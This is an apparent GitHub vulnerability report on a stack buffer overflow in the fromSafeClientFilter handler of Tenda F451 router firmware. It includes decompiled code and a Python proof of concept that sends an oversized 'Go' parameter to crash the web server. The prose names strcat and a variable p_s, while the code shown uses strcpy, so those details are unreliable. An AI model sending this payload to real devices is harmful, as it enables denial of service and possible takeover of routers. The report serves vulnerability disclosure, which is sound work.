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New issue



The fromSafeClientFilter function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow #26

Open



Jimi-Lab opened 3 weeks ago · edited by Jimi-Lab

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Information

Vendor: Tenda

Product: F451_kfw_V1.0.0.7_cn_svn7958

Version: V1.0.0.7

Vulnerability: buffer overflow

Firmware Download: <https://www.tenda.com.cn/material/show/1597>

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Descriptions

We found overflow vulnerability in httpd :

In fromSafeClientFilter function,it reads in a user-provided parameter manufacturer and Go.

```
30 sub_1495C("WanPortParam", fromWanPortParam);
31 sub_1495C("AdvSetMacClone", fromAdvSetMacClone);
32 sub_1495C("ipgroup", fromipgroup);
33 sub_1495C("L7Im", frmL7ImForm);
34 sub_1495C("timegroup", fromtimegroup);
35 sub_1495C("SafeClientFilter", fromSafeClientFilter);
36 sub_1495C("SafeUrlFilter", fromSafeUrlFilter);
37 sub_1495C("SafeWebtypeFilter", formSafeWebtypeFilter);
38 sub_1495C("webtypeman", fromwebtypeman);
39 sub_1495C("webtypegruop", formWebTypeGroup);
```

If the value of manufacturer is tenda,the variable p_s will be passed to the strcat function without any length check, which may overflow the stack-based buffer s.

```

1 int __fastcall fromSafeClientFilter(int a1)
2 {
3     const char *v1; // r0
4     int v2; // r0
5     int v3; // r0
6     char s[256]; // [sp+10h] [bp-134h] BYREF
7     int v7; // [sp+110h] [bp-34h]
8     int v8; // [sp+114h] [bp-30h]
9     const char *v9; // [sp+118h] [bp-2Ch]
10    int v10; // [sp+11Ch] [bp-28h]
11    int v11; // [sp+120h] [bp-24h]
12    int v12; // [sp+124h] [bp-20h]
13    int v13; // [sp+128h] [bp-1Ch]
14    char *s1; // [sp+12Ch] [bp-18h]
15    char *v15; // [sp+130h] [bp-14h]
16    int v16; // [sp+134h] [bp-10h]
17
18    v16 = sub_28BCC(a1, "entry", &unk_81054);
19    v15 = (char *)sub_28BCC(a1, "op", "no");
20    s1 = (char *)sub_28BCC(a1, "manufacturer", &unk_81054);
21    sub_3A530("filter.client", v16, 126);
22    if ( !strcmp(s1, "tenda") )
23    {
24        v13 = sub_28BCC(a1, "clienttimegroup", &unk_81054);
25        v12 = sub_28BCC(a1, "clientipgroup", &unk_81054);
26        v11 = sub_28BCC(a1, "enableIt", "0");
27        v10 = sub_28BCC(a1, "default_mode", &unk_81054);
28        v1 = (const char *)sub_28BCC(a1, "Go", "firewall_clientfilter.asp");
29        strcpy(s, v1);
30        sub_3A530("timegroup", v13, 126);
31        sub_3A530("ipgroup", v12, 126);
32        SetValue("filter.client.en", v11);
33        v2 = SetValue("filter.client.mode", v10);

```

As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution.

Proof of Concept (POC)

```

import requests
url = "http://127.0.0.1/goform/SafeClientFilter"
payload = {
"manufacturer": "tenda",
"Go": "a"*2048
}
res = requests.post(url=url,data=payload)

```

Overcome

4/20/26, 1:10 PM

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